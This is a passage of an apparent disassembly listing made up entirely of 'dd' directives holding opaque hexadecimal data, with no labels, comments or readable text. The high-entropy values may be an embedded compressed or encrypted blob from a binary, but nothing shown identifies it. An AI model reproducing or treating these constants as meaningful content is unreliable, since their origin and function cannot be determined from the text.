704B3B96h dd 5CA0F890h, 425FF215h, 0B6617D0Dh, 11E258D8h, 3CB04E83h dd 3D9558D9h, 2BC582CFh, 0EE56FDB5h, 0DFFB0BA7h, 1A441367h dd 0C4685E61h, 0DEE9EFC2h, 0F01DAF7h, 0AF0B4F2Dh, 7384BCA1h dd 4C3C66FAh, 65C0C0D2h, 0A2CCB9h, 0E71D2278h, 0FE4B09DEh dd 69C4B100h, 600BB2CEh, 0B9BD1003h, 3A5F2C1Ah, 4EC6C250h dd 3D816E90h, 48DE80CAh, 0F51577Ch, 400C9C8Fh, 8D8B605Fh dd 0FD0E914Bh, 1E01C409h, 48CA6EE4h, 14E8BD61h, 8B90128Ch dd 0DD8004F1h, 0B20CF311h, 88E83019h, 0BDEC4E09h, 96E2181Fh dd 17FA004Fh, 0B2AD8715h, 0CE0B3528h, 42D1E06h, 46F1D1A1h dd 22F07036h, 0AE90257Fh, 0EF454E24h, 51F4D08h, 90B1B509h dd 2D9531CFh, 0C1E819D8h, 7ED6BD03h, 1C4674h, 787E3EF4h dd 1233850Eh, 889724Ch, 56170464h, 0D365DB0Ah, 0D0EA5E97h dd 28DE240Ah, 8D7F100h, 0FDB109B4h, 0B62C0BEBh, 607FCA30h dd 2D5EF8DBh, 2F0980E9h, 0B1408942h, 1B77D8CFh, 6BABC15Eh dd 0D830030Ch, 0E8335D27h, 5E4B04Eh, 58D53FBFh, 5010A347h dd 5D9E9DFEh, 0DE3124h, 0A87B1583h, 13DD84B6h, 0F18D8908h dd 13BA2726h, 2D47056h, 8138DBDh, 92405060h, 8E8A0483h dd 0EA192903h, 54CE4A2h, 4E63BA2Bh, 0DBA3FA95h, 0A93017A2h dd 27F2247Ah, 33ED1232h, 0D40FF594h, 2BFD5D7Fh, 0D4011E9h dd 13ED1E4h, 4FA404B1h, 6833E218h, 0BC7A5901h, 0EF370060h dd 7CEEE6D7h, 506821A8h, 4674A5EBh, 8537001Ch, 0E8C1652h dd 0AE8B2631h, 0C333860h, 0EFCD0F50h, 3B52A5A6h, 0AC3014E2h dd 4F629060h, 20BF08CAh, 5C8D6116h, 89C2303Ch, 2576ADBDh dd 0A45B584h, 9B4AFDE9h, 0F9CB8224h, 41016060h, 6AC6820Ch dd 0E5CDCC1Fh, 93221E43h, 0CFAD3961h, 0D1D217Ah, 73588927h dd 0E79AD09Eh, 0D4EBC500h, 7CBEABF1h, 140FF84Dh, 77719589h dd 38E9F205h, 0CE7CA208h, 0A0659089h, 0CB76A3FAh, 0DB634290h dd 0E8F07017h, 1A9CD07h, 0E9EB25BDh, 0DE43FB30h, 9ADED419h dd 0B75034C0h, 7712DACh, 0C8D38171h, 5E36BDDDh, 0A28E3EB2h dd 81002C48h, 18BBF2CEh, 49BE0519h, 0A46093AAh, 3BE1C9C7h dd 6C48707Ah, 5B97BD38h, 0A5D9BEFDh, 40812A30h, 0A56BE91Ah dd 136DDF17h, 80BAF663h, 7206FA7Ch, 955A3282h, 0CAD207E5h dd 6C014381h, 8C16F80Eh, 0D2FEFA12h, 0ABAFFA00h, 9448E9FCh dd 1B467C7Bh, 55E82800h, 33E0F1BBh, 0B45AB962h, 247978h dd 5D24B3A7h, 8402D022h, 373A1D47h, 846A93C9h, 0B129234Fh dd 238DEEE1h, 9777840h, 9016695Bh, 0A97A168Dh, 4D4E006Dh dd 8112B68Eh, 0CF6007E6h, 52BAD6D2h, 94582A53h, 0B79BDB4Eh dd 7060948Fh, 13E31FB3h, 0B5C90616h, 0B6EF0EC5h, 223110AEh dd 0BF96604Ah, 0DD9BB353h, 40BB4D25h, 8CA8019Eh, 69C780Eh dd 0DF032BE9h, 500236C6h, 49F6DE0Ah, 3D8551F4h, 9E815A03h dd 97A08584h, 0B79FB0B3h, 7981B852h, 82AD57EAh, 0E64C34DBh dd 0B0697056h, 0BCEA425h, 4D82F747h, 0C8C67880h, 714FE4EEh dd 9AEFA217h, 275FC00Fh, 51CA7BAh, 6DB52BF4h, 0D5B3FB2Ah dd 0C139D300h, 679E226Bh, 0CD4D800h, 0ABE2E03Ah, 0ED8E09F2h dd 0F102DA8Bh, 5F040719h, 0AA61CBF2h, 2CC64BCEh, 31B509CBh dd 2C71D927h, 0D7746008h, 0A40F6055h, 0E4C68A9Bh, 9EF12133h dd 0AF830B41h, 2BF3A340h, 0F170C4D8h, 53930616h, 26940F22h dd 6F13505Fh, 9D0E00C2h, 6C4AC6CCh, 5A852D6Fh, 0C045C03Ah dd 0CD601DC4h, 0C2014894h, 21935E0Fh, 6C61BBFFh, 8582043Ch dd 0D40C0C39h, 0CB344E91h, 439A4A96h, 0A81F0184h, 0FD1909ADh dd 78D6D3B0h, 233A0F5Dh, 0CA3201F4h, 798D29EEh, 6812BD55h dd 33E0EDE6h, 5F9078C9h, 29796C9Bh, 3005DB23h, 0C3DF0DE8h dd 42A89D92h, 3927B503h, 38B7660Ah, 6F4A01E7h, 0E4950E6Fh dd 0C7C17F51h, 42E0660h, 0C960BC25h, 0BA094031h, 96ED7AFBh dd 0A400EE97h, 34821C95h dd 0B4620248h, 5F1E76BBh, 2F478A42h, 17611544h, 0E1A720A2h dd 6E5F2143h, 0DA1700CFh, 9D5FF3Bh, 0F99D1329h, 6405E218h dd 814F8566h, 0FECC8421h, 68C3215Dh, 8DAC6101h, 5A6D2421h dd 2F880F05h, 0C0BE9E01h, 319A98B5h, 14D12795h, 192B0CC5h dd 266C3C59h, 0DB9824Bh, 0EBB926D9h, 0C0F54D2Bh, 0A54DEF2Dh dd 0FF98D09h, 0E91D118Ah, 23C402Ah, 5169B1DDh, 0AA53E000h dd 95BFA3D2h, 7D8F05A0h, 0B1ED6E17h, 0C0411A4Eh, 0ABB45283h dd 4451B61Ch, 631D868h, 6D4BB5B1h, 0FE98C0BAh, 0B526095Bh dd 2B9E5B79h, 203B7EDh, 1A25C20Eh, 0C1155DBh, 0AFBE6601h dd 410AE97Eh, 0C9F08B09h, 0FEA7F4C0h, 2A6BE32Dh, 0B90941F6h dd 54014A10h, 497582BEh, 29DB71D5h, 68CABB73h, 749874F6h dd 224A1946h, 0C0E6059Fh, 2D9EE800h, 0A331B11h, 8164003Fh dd 0BC42A540h, 28B64104h, 9A58FD7Ah, 427822B3h, 7BD09FDBh dd 64316025h, 0AC890786h, 0B1621Fh, 69DC388Dh, 0F9F9609h dd 88515982h, 5F16282Dh, 594B46DDh, 0E3C01688h, 17894CCCh dd 9132C59Dh, 2A0C4900h, 1B237A6Bh, 0AF0EF61Dh, 6A64C013h dd 18FEBFC5h, 645D28D2h, 0AFB34805h, 0CD11823Fh, 0C0903DF8h dd 5FF7E798h, 356BFBDDh, 0F9E5205h, 0E90B0B80h, 61F80313h dd 0E81DF74Dh, 6342958Ah, 6878D84Bh, 1303F9A2h, 920FD1BDh dd 93EA59ECh, 1BC0C2EDh, 39B753h, 48A7B6DDh, 0D6812E1Fh dd 0B18B8916h, 0A0F170B0h, 8CF8487h, 171D8D09h, 8DB5890Eh dd 11F00D12h, 0B1F18234h, 72C9DD00h, 1EC63CA5h, 132823Ah dd 340AF39h, 71AF30ABh, 4EE6C9D2h, 0A3C49E0h, 0C214022Bh dd 5BACE78h, 8D4CFBBEh, 5413CC77h, 6584FE00h, 0C5E47935h dd 9589080Ah, 0BE0031B9h, 57E61390h, 0F7CE1CE9h, 815EFFh dd 34EA28A8h, 0AB98C18Bh, 0FC700C5Fh, 2448C54h, 0C2A3E728h dd 71F704EBh, 1817F141h, 29DEE4B7h, 0B9E80Dh, 0C13FCDCEh dd 0FB01F431h, 187461DFh, 0F3F4D811h, 4040B82Bh, 78A85F1Fh dd 0BC000F90h, 0F18ADC43h, 0B6F83901h, 1946D62Fh, 35C7DE00h dd 0F80B363h, 9BF8B724h, 0F058BF03h, 83A6B550h, 0F51BDE0h dd 5F6AD490h, 0E603C599h, 0CC5E9748h, 30BCC9BDh, 6802F2C5h dd 0F5E870F9h, 45236E00h, 0A9CA9F6Dh, 0BF9AC0BDh, 831322DBh dd 0D16FC04Ah, 0BEF7BB00h, 2C078DEAh, 0E1BD2309h, 0E28ED22Dh dd 1AD49052h, 0E310FFEh, 18002066h, 0A3087C4Eh, 168EEDh dd 9DADE8D0h, 13F2CEA9h, 6CB32D0h, 585AFFBDh, 0DB904E04h dd 0F3A88991h, 5995057Ch, 2115F214h, 7405261Eh, 0EC1A1746h dd 7B411A80h, 6A8052A5h, 1DE26FCh, 3C74251Ch, 3A9BBC07h dd 86CEBB04h, 6244CBC4h, 8C5669BDh, 7DA0E9B4h, 6B000F15h dd 6A58D680h, 0C63771h, 16424733h, 0EEA863FCh, 9BE30E2Dh dd 6DC016CDh, 3FC7CD11h, 99017C6Ah, 0C8C7CB2h, 0D9B042F2h dd 0B24689ABh, 9C23E92Dh, 680C2083h, 9E5E502Dh, 0BF9D4482h dd 63BB090Bh, 0CD040169h, 0D5F98B98h, 0A468A275h, 0C8FDDA4Eh dd 2B6C514h, 0A15BF7C2h, 0BC7034DAh, 0DE0FDCBFh, 0A5CE1200h dd 6DCA2BC0h, 0BD830B9Eh, 3B6465D2h, 0FA012D44h, 0BA2A4455h dd 257A14D2h, 0C6524873h, 0A9D5E2Ch, 123A85C7h, 0B485E701h dd 885F04FDh, 6C0195BFh, 8CF8EA20h, 5DF551A8h, 464D1BAFh dd 88F2D5C0h, 4DF70598h, 27D876BDh, 696F0B5Fh, 4934E06Fh dd 3C1A112Ah, 85169BAFh, 9FF4559h, 8D09A49Dh, 5E2D22EDh dd 2282DA9Bh, 7D7E77EDh, 5062DBE9h, 4E04E912h, 0DE6E3643h dd 0A7FF6DC5h, 0FE090076h, 3A90A9E7h, 0F57002Ch, 0C43CC39Dh dd 6CF3298Ah, 6C6E4B8Fh, 0DB14580Bh, 40458864h, 96F0A630h dd 0A597E9D0h, 58801811h, 8410BC4Eh, 0EA852927h, 8006C0AAh dd 8B2BC302h, 143850F3h, 5DE9448Ch, 57025D0Dh, 0B05EF98Bh dd 4CDEE974h, 0CE0429ECh, 0FD70E6C9h, 4C47B8E3h, 0DF311D54h dd 0D871E4F8h, 0FB13F6EEh, 0BDC46888h, 1E58B7E2h, 0C38BFA0Bh dd 6026EDDFh, 0D7AAE69Bh, 0A85A3B04h, 0BEC16B7Fh, 0C3040445h dd 0F28C017Ah, 55AE40B4h, 33A4D794h, 99C90A13h, 44C9C52Ah dd 0A9D82B77h, 272CB8CCh, 0D844507Eh, 0CBCEE000h, 9DE7226Ah dd 703FE6Bh, 61605689h, 1CC41E5Fh, 0B92EED24h, 0A8FC5C2Eh dd 8A6102DDh, 20E98D89h, 60E3437Eh, 0BC33ED0Fh, 5F0B7089h dd 0C8F0DA61h, 0F994C018h, 0AC38D916h, 516E4FB0h, 177AE112h dd 0E072A63Ch, 77275666h, 8E5F13FBh, 5D690430h, 4A431431h dd 53076A6Eh, 6B1492D2h, 9A988722h, 51204CDAh, 5B6AAA02h dd 187770A7h, 0B299BA40h, 704D9578h, 27611544h, 4C202A9Eh dd 73DC5Ah, 0D4CFF2D2h, 31936EA5h, 4AB99648h, 0C0759AAAh dd 0A50DFE6Fh, 9873484Dh, 64DBD13Bh, 0A8D1ED64h, 66F40037h dd 319735BFh, 205B11B5h, 9BD6431h, 0CB515728h, 0A9B8E86Dh dd 15CD7C00h, 0A058FC65h, 0FDD35C28h, 7A277D10h, 11ED0EC5h dd 5F2286B3h, 24962B4h, 0B26292Ah, 98604C42h, 4CB6155Dh dd 50394366h, 8B51EE60h, 0DC5CA10h, 6AEF6127h, 105D1B63h dd 5A3445B0h, 20CB1F22h, 8C59D29h, 44572585h, 0B5011939h dd 2A5B19DDh, 2AE6BBBh, 96EFB85h, 0F44BC3BBh, 0A043F425h dd 0B738FE0Fh, 4994E084h, 305D3CAh, 8DE953F5h, 14F89587h dd 0B5E4C32Bh, 850A29B7h, 30B6FB0Ch, 0E6535E34h, 5DABE12Fh dd 0C8FA122Eh, 13001EB5h, 84F43CD3h, 0FC76276Bh, 9B67D666h dd 49C1813Ch, 0CE43B55Dh, 43898D19h, 5B7CD339h, 80089BC0h dd 33935010h, 1EFD1962h, 52E56256h, 3CFE5FF0h, 0EE33BF40h dd 87B02FA7h, 0B4FE2662h, 5C85C742h, 0F5BD8337h, 949E74A7h dd 176D4EC5h, 85A138EDh, 0C0A13D1Dh, 2F957C91h, 42E82D7Fh dd 0D8542E9Ah, 0AAEEEC40h, 7B2B2CAFh, 0EE54C948h, 350F07DCh dd 0D9CD059Bh, 0DFDD12C0h, 1D7160B3h, 8E00BE18h, 0E59BD561h dd 0F9267693h, 0AAD92160h, 6E52FD8Ah, 486B7700h, 1FA41463h dd 0D56600AAh, 0BF4E6DBAh, 0B2E20DD6h, 905EFC12h, 7080049Bh dd 0B8A5B69Bh, 0E8FC38B0h, 1D01F926h, 0EEE1B913h, 0AFF01566h dd 62E85F3h, 6A2D11DBh, 14BB4061h, 0DCCA94AAh, 0EAB1EC01h dd 0D88C085Fh, 593F7421h, 6F590CAEh, 246EF717h, 0B79FD09h dd 925D084h, 0A2BF5953h, 41134188h, 0C3D1B570h, 94330E3Eh dd 104326DDh, 0AB4A3469h, 7A093088h, 8931C18Dh, 2A111DB5h dd 3F536FEAh, 1E80DF84h, 1636D781h, 9B48302Ch, 0D52180D3h dd 58ACDDBh, 0E9FA8BD8h, 16AB1E7h, 88FE88D5h, 121FD9FAh dd 8C7EC860h, 4CEBDD00h, 8BCA62Ah, 1F540063h, 5601845Ah dd 0BF96B9D8h, 0DF9B4E39h, 0AC163281h, 6C9BD802h, 2313AE03h dd 0E42D8D31h, 79CB210Eh, 866EDB52h, 0B918193Dh, 9B39162Ah dd 8B1F8032h, 0A9057585h, 0AD329DD8h, 0A775D67Ch, 0DD23A0ADh dd 0F9E10668h, 6A526A19h, 3E07F120h, 1A6835Eh, 4806117Eh dd 0BBDD260Ah, 766D8B95h, 2217F854h, 929E3AE1h, 0C07E7287h dd 0DBD4E542h, 4D60612Dh, 99C2CF28h, 4C43B8E1h, 0CABF02B8h dd 0D5043F48h, 71E7BCCCh, 9ABE0966h, 18D68BC7h, 0A112F448h dd 0F3D5ADC8h, 0AE90C41h, 0B857A6Bh, 0F76859FCh, 0E49882E4h dd 0A6C0C151h, 0C0EE3872h, 1183871Bh, 4FC9A691h, 0F67B28h dd 0B810E098h, 9867E280h, 349D34A0h, 9B6F56EBh, 0B98A807Ch dd 6FDE05Bh, 958B9284h, 5F895121h, 0D330A53Fh, 0E5EE7888h dd 0FDAD4809h, 6F790Fh dd 433DD254h, 5607AAAFh, 2BA125B3h, 0DB81A930h, 19EEEC7h dd 65BB5802h, 217C75AFh, 0F06A3645h, 7BD81A10h, 950D9011h dd 494D1F6Ah, 67606C68h, 13E563A7h, 257B4EBh, 5ED7A590h dd 3C8B0F4Ah, 810D8A44h, 160447EFh, 1431582Bh, 362FBC69h dd 0FEA0F52Dh, 580F6CEAh, 0CD013D00h, 0B9FCD4C8h, 6520555h dd 106FF7AAh, 6E5A2DFAh, 0B32A0A4Ah, 2466F052h, 7737B51Fh dd 37E48305h, 0DEFF9801h, 0A2B40F51h, 0CA8C9EE6h, 0C702AA3Eh dd 0A4B97BE4h, 0F9AA1255h, 954FDFD7h, 2913B045h, 1709959Dh dd 0E033F618h, 48BF2252h, 4D2115Ah, 25290D35h, 0B2FD63D5h dd 0B3253BB8h, 0A4C4F8h, 56D950F6h, 0C7606EE0h, 75581712h dd 0F285F50Bh, 7888F3F0h, 0B01D202Dh, 4482B368h, 0D6705F7Bh dd 8BC201ACh, 0EF1AD1A1h, 4DDAD9F0h, 0EAFC7FB7h, 196E4Ah dd 3D4CB49Dh, 3C9AC76Dh, 21908B60h, 0D1A84027h, 0D0612B40h dd 6F5A6DCAh, 43F14A1Dh, 1F345E12h, 53841591h, 0F856CC19h dd 0B2E0EA09h, 2BF451Dh, 5A4A6FB8h, 76B74F62h, 12173180h dd 5D73278h, 0BD035053h, 5A21B0F9h, 0BA85C725h, 0E0584D87h dd 0F3D4DDB7h, 293B1878h, 6157E48Dh, 94C5ABDBh, 0FC15809Dh dd 73CEBF5h, 23E93461h, 4B0D6FAAh, 234613B7h, 0D49949B0h dd 0B3DA1F04h, 0C8C01369h, 8F4FEBh, 0ABFA251Ch, 0DAC6A108h dd 0EA4AC3Dh, 2E5CD2D4h, 34CE00E4h, 0EA1BF531h, 29B31E27h dd 0DD5B40D1h, 17E62AC7h, 0E8DFF9F9h, 0A670DB67h, 87C001A7h dd 0E52DDB4h, 9ED92023h, 9E90B11h, 0EE7E5212h, 0AA404A4Ch dd 9538259Ch, 20589675h, 0CCA11E1h, 0B89CEDE9h, 0BC33F72Fh dd 835DB7E8h, 0B2276703h, 0C8E72C2Ah, 0BB8A8BDh, 243FAE3h dd 2128318Fh, 4C25906h, 60C02764h, 0E290F410h, 0F7A73B03h dd 88585162h, 0F410B966h, 79D6BF61h, 0D00C13F9h, 586BC08Ah dd 73D6BFF1h, 211411D1h, 19F0A51Ah, 0BE87FE38h, 0BA6A6027h dd 0A00728Ch, 5DDCACF8h, 10D93EAh, 0D217F168h, 815AF552h dd 0C5858D8Ch, 0F428FD75h, 4A34CD10h, 4702C7B7h, 0FC93AB49h dd 9AD18B23h, 24041061h, 95E28103h, 2253C6D5h, 0EE808258h dd 0F24B57C1h, 4E8E80C0h, 634C9F50h, 0ACAFB909h, 0C126ED90h dd 202F90A4h, 0E800981Eh, 0FFEF3AA5h, 9D292595h, 7D05BCBDh dd 0A1FF9270h, 802382FFh, 0FEE886C6h, 0F9918049h, 0BEF2FBE9h dd 0B30BA301h, 0EF6CCAC8h, 26BA66E4h, 0A2B4C2Ah, 0B387AD85h dd 8C9ACF50h, 9001AE92h, 927399D7h, 0DB9B0867h, 157FD282h dd 0BFB8457h, 25FE0416h, 0C1841904h, 887B8E15h, 10F4C01Ah dd 0F3389FECh, 4E65C75h, 0A1BD48Ch, 18A95A81h, 9622DA23h dd 1207498h, 9A5F952Fh, 114217ACh, 0BA98801Dh, 336552h dd 910B89ACh, 0DDB5293Bh, 6800509Ch, 0FFD2406Fh, 3081480Fh dd 6EC0BAC3h, 0BD2434C8h, 2B48E700h, 0FF0ECD80h, 19D14EB5h dd 208C1230h, 0C53C105Eh, 0DA23BBFCh, 4FFF8BA4h, 1326ED0h dd 4DEEF97Ch, 88D6132Eh, 24997C5h, 8293D3Ch, 150908A3h dd 6AE11765h, 6A5B9D0Bh, 0F24200C7h, 7B31DEDFh, 5DD216B4h dd 7622A330h, 5D8C884Eh, 6800FB61h, 7E09E617h, 108D0F82h dd 9046BA5Ah, 0AA2A5494h, 715318F5h, 27F9D008h, 37AD3282h dd 58B3809Ch, 0BB279621h, 4ECCF856h, 73041135h, 660E33CDh dd 2ED5D3EAh, 0CF00DCEDh, 3D054BEEh, 4AAA202Ch, 3F301h dd 553F41C4h, 0F05006B8h, 64FB4CDEh, 0C25CB4A7h, 0E68B8558h dd 0CF1E55BDh, 0B18A9C00h, 0ADD22B8h, 8870F91h, 2A84FD7h dd 8228C4A4h, 0A021F520h, 86275124h, 532B7769h, 92091D49h dd 0B849804Dh, 0C370DBF8h, 80376149h, 8BD18156h, 2C631407h dd 390275E8h, 50D41F6Dh, 44403AD6h, 2268F03h, 0A2EAE259h dd 9C64CF36h, 1C3CFC90h, 0B61470F6h, 790C89D7h, 8B58C826h dd 7431FA0Bh, 421F29A5h, 0FFB0FDB2h, 1D51C980h, 2A5A31F3h dd 0BA10D394h, 0F78A147Ch, 96C8164h, 2BA23DBDh, 70833F64h dd 84A0DBB1h, 118C3BB4h, 5A1000D2h, 0B6282D7Fh, 1B052304h dd 0DA9009F5h, 0B1606C02h, 90407C3Fh, 8BB27AC8h, 0F9FFE6E7h dd 2AEDBE4Eh, 5120A424h, 0A4614438h, 75639789h, 2CF6ADAAh dd 8926BF40h, 0D881D3Dh, 0C9927Fh, 0DC65352Dh, 0D1141384h dd 9A2E6214h, 0BD70607Eh, 4D10979Dh, 2AED2719h, 5EC01ADBh dd 2D72C18Eh, 8D267D71h, 0A5091453h, 0B4735729h, 0CB1B72Fh dd 19B27E09h, 96B8124Dh, 0F284609Ah, 0CA298253h, 65B1C549h dd 11EE0C7Ch, 52E8AF00h, 0B53D64BBh, 50460493h, 8069E509h dd 0FD75CDA0h, 13C2784h, 81390B3Dh, 0B0E4AEB7h, 6329CC3Ah dd 0EFADBD86h, 0D12C2976h, 49519519h, 0EFB83F7Dh, 4D98CE09h dd 0B94D0A28h, 0A0A18509h, 87676849h, 0B1DB13B8h, 8EE14111h dd 4E57ADAEh, 0C01B88B9h, 0F5555A46h, 80392374h, 0D3E5122Fh dd 6A6E3A29h, 0DCF500D7h, 8B09B234h, 14852C95h, 28B1429Bh dd 0A8203C45h, 1F311D24h, 5060D3CBh, 0B13FBB15h, 90E7819Fh dd 0FC47BEE8h, 33805868h, 6F6D1505h, 0F976DC00h, 3DFD3B10h dd 0AFB80A94h, 29B62489h, 40CD2D21h, 15D122C0h, 13537811h dd 1D046ADDh, 604D7A75h, 478A2FDCh, 105116FEh, 5F2D0CE2h dd 802864Bh, 33E0CFB9h, 0BE72D47Dh, 5D5409FAh, 6793704Ah dd 2D8E2F2Ch, 0C62A3ECDh, 0A6E93665h, 93DB216h, 9AE0D2BBh dd 95665Dh, 0E3D5397Fh, 74965C41h, 9F875700h, 3E8ABA53h dd 594038C2h, 7B2589Fh, 13C9D868h, 74CBBF38h, 494B2BB2h dd 3C8183Eh, 0C11E78BAh, 0FB88284Eh, 2B4F4A9h, 0FF17CAE6h dd 0FAA28D95h, 21604DB5h, 9B10AC9h, 0CC4D53Bh, 0D15EB2E0h dd 13C15A30h, 0F7D3009Ch, 2F22A29Eh, 0B56885C7h, 0ED49A839h dd 7C54C07Ch, 64B58BCEh, 4EB1712Bh, 2BA36Ah, 0D01A9835h dd 9A5FECh, 84BB3DCh, 24AFDDA8h, 32513CC4h, 39616800h dd 0B900A7CEh, 6E19B73Ch, 16240481h, 0A32C69Fh, 262C8C2Ah dd 939660CDh, 0B1020139h, 34269065h, 2E00400Ch, 73F02521h dd 8D2BE081h, 2D8721Dh, 0B195090Bh, 0B9ACE82Ah, 0B77A48FDh dd 0AF8D8A28h, 6CFF40E9h, 0DF90C5D2h, 3A9053F0h, 5CF1B904h dd 378223ABh, 0E7D590E8h, 1BE300A7h, 39DBA1B5h, 7500D079h dd 4D47346Fh, 9059238Dh, 0C35F624Bh, 842CA8Bh, 0BA66AFE8h dd 8F1EF32h, 0B5A583E7h, 52BE4D94h, 864EAAE8h, 9F8F4CC1h dd 286DC23Eh, 0DED6420Bh, 2E34E066h, 8A000AD4h, 4E432BFh dd 12091629h, 895073h, 26F18173h, 7241F7Bh, 2A60A290h dd 3D014CF8h, 7E852B4Eh, 0BAAC69E2h, 39251270h, 90502659h dd 8F00DEDCh, 0FEE006C8h, 0A2FB8E78h, 805CE89Fh, 0BC719E2h dd 692D76C0h, 8C6BED73h, 0E338E599h, 0ED0E5AE9h, 8EC93DBFh dd 0B7D98947h, 589C80B1h, 797BA4C0h, 0B58B7212h, 0A6DFB27h dd 468D6250h, 0D1E49120h, 142181Bh, 66E4C4A6h, 31C7203Fh dd 0B8A32DC9h, 73311D46h, 8FC58191h, 687DB589h, 8A50095Eh dd 5B6529CBh, 10F7019h, 7498AF00h, 9B774DE1h, 4A449D5Fh dd 0CED3C500h, 16EA5EF4h, 62DB0094h, 0C9E21ED5h, 0AD007C09h dd 1454A89h, 82127D8Dh, 246DA0C8h, 0A96BA99Dh, 637B566Ch dd 32D03589h, 6B00B492h, 0C1CC46F7h, 0A94C80h, 0E245969Fh dd 0FDB509DEh, 225949C9h, 292A842Bh, 818092D1h, 2788CAF2h dd 0ECE9262Ch, 64D0BAC2h, 0EDFC0E08h, 0A5207A61h, 8248D4B4h dd 0DDF7A800h, 6D311894h dd 80D60CD3h, 845C207Eh, 0D347C969h, 126E70B9h, 0C255A902h dd 0F3E7F180h, 3D93787Ch, 4049DA09h, 48608A1Dh, 0C17D4D2Fh dd 20708A55h, 1D709D5Bh, 9ADFABA2h, 0B9DB05A9h, 6195ECA4h dd 6FE919A1h, 7D7A2A01h, 0C7A47C02h, 5E55932Bh, 46BA0093h dd 402F8608h, 7920D2B8h, 907D07h, 19D9532Bh, 55BDBF50h dd 5BF956EEh, 8770C09Eh, 258D329Eh, 0C7B16E2h, 226D951Ch dd 5F119D73h, 0F652B02Fh, 738BE008h, 939C05D3h, 0A7F5C9DFh dd 37F700D7h, 22B190BCh, 9B87FE50h, 76940FCAh, 0F6FD3h dd 0AC73B6C1h, 0A06763C9h, 91107DA8h, 0B70F41BEh, 36D8FDD2h dd 284BF067h, 931C00D4h, 2958FB5Fh, 939AB99Dh, 8D1A33EEh dd 0DE0E2CA5h, 54840B44h, 0F4D8D4F3h, 85B605BBh, 90B5BD2Bh dd 3FFE9CEh, 9AD84593h, 3FD52F2Dh, 80A00364h, 808034A1h dd 12DE9638h, 969B0B1h, 20F18D13h, 223210F2h, 407E2389h dd 1747FAF6h, 0E0489F7Dh, 0BD913BF2h, 518292BCh, 0E0C00D31h dd 0AA5C9A94h, 0CC84422h, 0FCB98005h, 293B5515h, 1F5D8514h dd 202F2067h, 0B7BDFFC9h, 0EDF10FD0h, 71B5EB80h, 1E5C34E8h dd 0AFD04B8Ah, 50880F40h, 45834B1Fh, 0BE2319h, 2878487Ah dd 3811D6DBh, 0E680AF2Eh, 0CC923AB6h, 302F71EDh, 0C109013Fh dd 8410FD75h, 59C40173h, 7E590687h, 9007F25Dh, 2B168AD2h dd 33C7D790h, 7E40F648h, 8BAAA200h, 7F5FB749h, 99CD1758h dd 9ABA8D0h, 5E90E11Fh, 0F1E7DC78h, 0D28BD8DFh, 95BC0371h dd 4D950941h, 66056932h, 4050D68Bh, 32F4824Fh, 330F489Bh dd 0C230EB01h, 40EF95BCh, 4FE27F2Dh, 80F59B90h, 0E45B7D6Bh dd 6CF12D8Fh, 6E010144h, 25D36A62h, 72313781h, 7DD8717Bh dd 8C05040Dh, 29D4CF8Bh, 0CAB89CB9h, 39243C9Bh, 3138C125h dd 94765802h, 52B704DCh, 0A82B9020h, 0D75E130Eh, 0C1AD3524h dd 106E5Eh, 93B167FDh, 275D182h, 0E9020FB6h, 1B5601CAh dd 1B1B1588h, 0C4E512C6h, 58F0496Fh, 0DC76D6h, 59824B5Dh dd 2BD19503h, 7BA01295h, 275328F8h, 0AA0232A2h, 9E54D08Bh dd 6D08854Ah, 0E3601425h, 0D006CD12h, 614B24BDh, 11E6A04h dd 5DD23D9Dh, 8B32B890h, 0C61D0F3h, 904987D6h, 8090F38Ah dd 0BD74D567h, 2F8A14C5h, 28BCC849h, 27DE5D00h, 2CF14F73h dd 7104BF54h, 2A1D1426h, 24ECF758h, 0BB4D6C5h, 660DFB22h dd 5229709h, 0B82EEE9h, 0BE4A90F8h, 3440EC54h, 0FCC3DDh dd 4DD54B1Eh, 7F0EB223h, 0D6327107h, 5F0234DAh, 9E4690h dd 0D29D2C68h, 0FF19ADCCh, 92B9B574h, 8621A9BCh, 0F825B111h dd 0ECDC80ABh, 2F6D7DA5h, 214ACD61h, 5921312Eh, 6061E8B1h dd 5F1DE69Fh, 751B229h, 68BBB866h, 4548E689h, 30813B01h dd 0E13031F1h, 0E9618028h, 561DD5B1h, 0F10095A9h, 0FA428362h dd 0E3321D8Ch, 0B59E74h, 0F3E4BF2Ch, 59291EA8h, 0FD80AE61h dd 89226C6Fh, 24B200D1h, 0BA7AA1F2h, 30B5CBCh, 4854FA7h dd 0E9AE0B6Fh, 9C80804Dh, 6D0CFCEh, 0C681594Bh, 0E913B51Ch dd 2EB0F93Bh, 825208Dh, 54D86800h, 4BB95C37h, 0B466760Ah dd 18D49800h, 0CD9D6AF5h, 6CE1EBB5h, 33BA1005h, 70ED1337h dd 0F1288FFh, 84E0895Dh, 2857BC3h, 5B4026E5h, 9FCF6AC9h dd 8B53A3C6h, 0F72261CAh, 63607C87h, 1527A482h, 0D7501D03h dd 0DE06DA30h, 379D9061h, 0DFBC09D3h, 4DAFDA71h, 0F074C0FCh dd 0B10471BAh, 0DE864AAh, 80F15B40h, 0E3009F1Ch, 0C84F5493h dd 95438F46h, 0B9FAB0DFh, 9059801Ah, 5A35564Ch, 7093A3h dd 48CFB635h, 4A0A94B7h, 23171804h, 49C797BCh, 44B08AE5h dd 0D78B1650h, 0E013A690h, 1C319271h, 57952367h, 0D1EE221Eh dd 18973250h, 9DFE8B43h, 16E495C7h, 0BB493760h, 2E6284BFh dd 2D171314h, 0E8FBBD0Bh, 1FC091Fh, 29FEE58Dh, 0BF0E37A4h dd 2AA7F3CFh, 9035BFA2h, 200CA2BEh, 0AA2C3F02h, 91C5550Fh dd 19EF96ADh, 2B82ADF4h, 28252831h, 0C6095803h, 8908C2D3h dd 517956h, 0B4A0F488h, 5E000DE1h, 12156801h, 980E47Eh dd 0E9172E49h, 4F7A4689h, 5A7DDB45h, 917952B8h, 0E25BE02h dd 0F67CCBE8h, 0D1314046h, 0F705850Ah, 74B40530h, 24495981h dd 3375E901h, 88BF4AB5h, 6A88352Ch, 0B0F59501h, 45C5100Ah dd 0A04EBDFCh, 0C13FA01Eh, 680C32EFh, 0FD70043Ch, 577A02E4h dd 9390C190h, 1A0329A2h, 0AF8432E9h, 0DFA076ACh, 0A94AC530h dd 3F0A92CDh, 0E0F6514h, 5041C131h, 4A7CB66Ah, 6112806Eh dd 0E0C10EC3h, 963E6006h, 0F8352285h, 0CA20494Ah, 0F43CE981h dd 5D443525h, 3864F4E7h, 0EC80F9ABh, 0F3E98538h, 89F870A8h dd 2EA5B55Ah, 0BA73B2A5h, 1D94AE70h, 0BB2E113h, 0E9078407h dd 0E80B9895h, 8146A0DDh, 